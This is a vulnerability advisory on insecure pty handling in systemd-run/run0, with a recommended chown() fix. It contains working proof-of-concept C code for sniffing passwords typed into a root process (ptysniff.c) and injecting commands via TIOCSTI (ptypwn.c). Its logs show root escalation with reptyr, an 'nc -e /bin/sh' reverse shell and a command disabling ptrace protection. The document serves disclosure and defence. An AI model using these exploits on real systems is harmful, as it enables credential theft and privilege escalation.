Systemd Insecure PTY Handling
Systemd Insecure PTY Handling Vulnerability
===========================================
CVSSv3.BaseScore: 5.8
CVSSv3.Vector: AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N
Short Description
=================
Systemd-run/run0 allocates user-owned pty’s and attaches the slave
to high privilege programs without changing ownership or locking
the pty slave.
Description
===========
Systemd-run/run0 is working towards a “sudo”-like replacement for
v256 that is based on the existing policykit and d-bus based “systemd-run”
transient service execution. The code in “src/run/run.c” on line 1673
creates a PTY master and slave used for this process, and the slave
name is passed to unlockpt() on line 1689. This allows any process to
connect to e.g. “/dev/pts/4” slave interface, this interface is created
under the local user context executing “systemd-run”. The code subsequently
uses a PTY forwarder (src/shared/ptyfwd.c) and d-bus once authentication
by policykit is approved, the slave end of the pty created will be
attached to the privileged executed program. As the slave interface
is not locked to the privilege level of the newly executed process,
a vulnerability is introduced to the system as any same-user process
can now interact with the slave end of the root program.
Exploitation
============
This issue can be exploited by opening a handle to the slave interface
and using terminal I/O routines such as read() to access the input of
the root program. Slave PTY’s are not designed for multiple programs to
access them and this has the unintended effect of redirecting input
intended for the privileged program back to unprivileged processes, an
example code “ptysniff.c” is provided here and terminal output that shows
the issue being used to read input from a systemd-run executed “passwd”
program, returning the password intended for the root program back to the
local user.
User Terminal
=============
The user executes systemd with “–pty” to allocate a new “root” pty and
execute “passwd” in the new terminal.
fantastic@fantastic-pc /dev/pts systemd-run –pty passwd
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====
Authentication is required to manage system services or other units.
Authenticating as: fantastic
Password:
==== AUTHENTICATION COMPLETE ====
Running as unit: run-u63.service
Press ^] three times within 1s to disconnect TTY.
New password:
Retype new password:
Attacker Terminal
=================
The slave end of the systemd-run terminal is still owned by the local user
context, “/dev/pts/5” in the example above – allowing ptysniff to read the
password input intended to be sent to “passwd”.
fantastic@fantastic-pc /Work/voldermort ls -al /dev/pts/5
Permissions Size User Date Modified Name
crw–w—- 136,5 fantastic 4 May 08:51 /dev/pts/5
fantastic@fantastic-pc /Work/voldermort ./ptysniff /dev/pts/5
Received: p
Received: a
Received: s
Received: s
Received: w
Received: o
Received: r
Received: d
Received:
/* ptysniff.c – read from a slave pts used by a higher privileged program */
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#define BUF_SIZE 1024
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, “Usage: %s <pts>\n”, argv[0]);
return 1;
}
int fd = open(argv[1], O_RDWR | O_NOCTTY);
if (fd == -1) {
perror(“open”);
return 1;
}
char buf[BUF_SIZE];
ssize_t numRead;
while (1) {
if (flock(fd, LOCK_EX) == -1) {
perror(“flock”);
return 1;
}
numRead = read(fd, buf, BUF_SIZE – 1);
if (numRead == -1) {
perror(“read”);
return 1;
}
for (int i = 0; i < numRead; i++) {
printf(“Received: %c\n”, buf[i]);
}
if (flock(fd, LOCK_UN) == -1) {
perror(“flock”);
return 1;
}
}
return 0;
}
Recommendation
==============
It is recommended the systemd-run created pty slave interface
is chown()’d to the same user as the privileged execution context
that it operates, this would result in “permission denied” when
attempting to attach another program to the slave end of the pty.
Additional Information
======================
In addition to the vulnerability outlined above, it is possible to
exploit the problem to execute commands or completely hijack the
root owned program from the same-user context when other conditions
are met. Linux Kernel since around 4.1 has enabled ptrace YAMA, a
protection that limits the use of ptrace for debugging purposes.
With ptrace_classic set to enabled, such as with the following
command.
“echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope”
It is possible to simply read the master fd for the pty from the
“systemd-run” application, and re-parent a process to use the
master end – hijacking the root program which would not be accessible
to ptrace. This can be done with GDB (set inferior tty) or a tool such
as “reptyr”.
User Terminal
=============
fantastic@fantastic-pc /Work/systemd main systemd-run –shell
Running as unit: run-u87.service; invocation ID: abc22b3152ae48cea20ce86c11b555a1
Press ^] three times within 1s to disconnect TTY.
[root@fantastic-pc systemd]#
Attacker Terminal
=================
fantastic@fantastic-pc /Work/systemd main ps -aef | grep systemd-run | grep shell | grep -v grep;id;tty
fantast+ 5541 5477 0 09:08 pts/6 00:00:00 systemd-run –shell
uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel)
/dev/pts/1
fantastic@fantastic-pc /Work/systemd main reptyr -T 5541
[root@fantastic-pc systemd]# id
uid=0(root) gid=0(root) groups=0(root)
[root@fantastic-pc systemd]# tty
/dev/pts/0
Enabling ptrace_classic should not result in “root” permissions to unprivileged
users, many operating systems support debugging applications and can do so without
immediately giving away Administrative rights, YAMA is intended to provide this
protection. However, sessions and terminals started under “SSHD” for instance are
protected against these attacks through use of “prctl()” to prevent ptrace_attach
from connecting to the process, preventing them being read even with ptrace_classic.
This issue can also impact “su” and “sudo” and is a wider problem in Linux when
ptrace_classic is enabled. Ensure that production systems do not support the use
of ptrace_classic.
Another path of exploitation can also be undertaken by an attacker when ptrace_classic
is disabled, however they must be able to re-parent their tty or have control of execution
of a child within the parent process. Attempts to call ioctl() with TIOCSTI historically
required only the same user-context to access the tty, however to limit these attacks Linux
now requires the process calling the ioctl() to be a descendant of the parent process using
the pty or have the pty set as its controlling terminal. An example is shown here, an attacker
uses “nc” to execute “ptypwn” and hijack a root program executed later through systemd-run
by the parent. The source code for ptypwn.c is provided.
User Terminal
=============
fantastic@fantastic-pc tty
/dev/pts/3
fantastic@fantastic-pc nc -e /bin/sh localhost 1337 &
[1] 6926
fantastic@fantastic-pc systemd-run –shell
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====
Authentication is required to manage system services or other units.
Authenticating as: fantastic
Password:
==== AUTHENTICATION COMPLETE ====
Running as unit: run-u100.service
Press ^] three times within 1s to disconnect TTY.
[root@fantastic-pc fantastic]# id
uid=0(root) gid=0(root) groups=0(root)
[root@fantastic-pc fantastic]# id
uid=0(root) gid=0(root) groups=0(root)
[root@fantastic-pc fantastic]# id
uid=0(root) gid=0(root) groups=0(root)
[root@fantastic-pc fantastic]#
Attacker Terminal
=================
fantastic@fantastic-pc /Work/voldermort nc -v -v -l -p 1337
Listening on any address 1337 (menandmice-dns)
Connection from 127.0.0.1:49282
tty;id
not a tty
uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel)
./ptypwn /dev/pts/3
./ptypwn /dev/pts/3
./ptypwn /dev/pts/3
/* ptypwn.c – use TIOCSTI ioctl to inject commands into user-owned pty */
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, “Usage: %s <pts>\n”, argv[0]);
return 1;
}
int fd = open(argv[1], O_RDWR);
if (fd < 0) {
perror(“open”);
return -1;
}
char *x = “id\n”;
while (*x != 0) {
int ret = ioctl(fd, TIOCSTI, x);
if (ret == -1) {
perror(“ioctl()”);
}
x++;
}
return 0;
}
Additionally systemd-run supports a “–pipe” operation which will simply connect the privileged
process to the same-user parent tty directly, this option should be removed entirely as it offers
no protection against the attacks outlined above.
PolicyKit / sudoer Configuration Discrepancy
============================================
It is worth noting that a common misconfiguration can present itself in systemd/policykit Linux
environments where users are not permitted to execute commands through “sudo” but are permitted
to execute commands through policykit services such as “systemd-run”. This can lead to attackers
who would be denied “sudo” requests being able to obtain “root” permissions through “systemd-run”.
An example of this configuration error can be seen below, as “systemd-run” proposes to become a
“sudo” replacement, this issue has been included for completeness and for system administrators to
review their sudo and policykit configurations to ensure such discrepancies do not exist.
fantastic@fantastic-pc sudo su –
fantastic is not in the sudoers file.
fantastic@fantastic-pc systemd-run –shell
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====
Authentication is required to manage system services or other units.
Authenticating as: fantastic
Password:
==== AUTHENTICATION COMPLETE ====
Running as unit: run-u107.service
Press ^] three times within 1s to disconnect TTY.
[root@fantastic-pc fantastic]# id
uid=0(root) gid=0(root) groups=0(root)
TLDR; Conclusion
================
Systemd-run/run0 should chown() the created slave pty interface to the same user context
using the pty, this will limit privilege escalation opportunities within the system and
address the medium risk issue highlighted at the start of this advisory. The additional
information in this advisory discusses wider Linux pty security handling issues, insecure
configurations and thier exploitation naunces that can be leveraged for privilege escalation
attacks. Whilst these tactics will serve Red Team’s targetting Linux, it is noted that similar
threats against Microsoft’s recently introduced “sudo” that allowed any local user to obtain
elevated rights through insecure pipe handlers were quickly addressed. It is also noted that
despite the insecure system configurations, applications such as “SSHD” protect against some
of the highlighted risks through proper use of prctl() to prevent ptrace_attach() and hardening
on TTY allocation and handling. Fixing the vulnerability outlined in systemd-run through chown()
is recommended, the Linux community should take note that the attacker threatscape has changed
significantly with a renewed interest in targetting these systems by adversaries – consideration
should be given to hardening PTY/TTY handling processes and protection against ptrace_classic
regardless when privileged system operations take place. Attackers are less likely to use
on-disk methods such as manipulation of .profile or .bashrc when they can simply hijack the
requested permissions at a later date without touching disk from implants or other malicious
code that has obtained execution in the contexts described above. In relation to security
boundaries, the polkit authentication request sent by systemd-run is ONE-SHOT, as opposed to
persitent. This means that every request to systemd-run for elevation should present the user
with a password prompt, by exploiting this issue the elevation request behaves as persistent
for the lifecycle of the elevated program.
— Hacker Fantastic 04/05/2024
https://hacker.house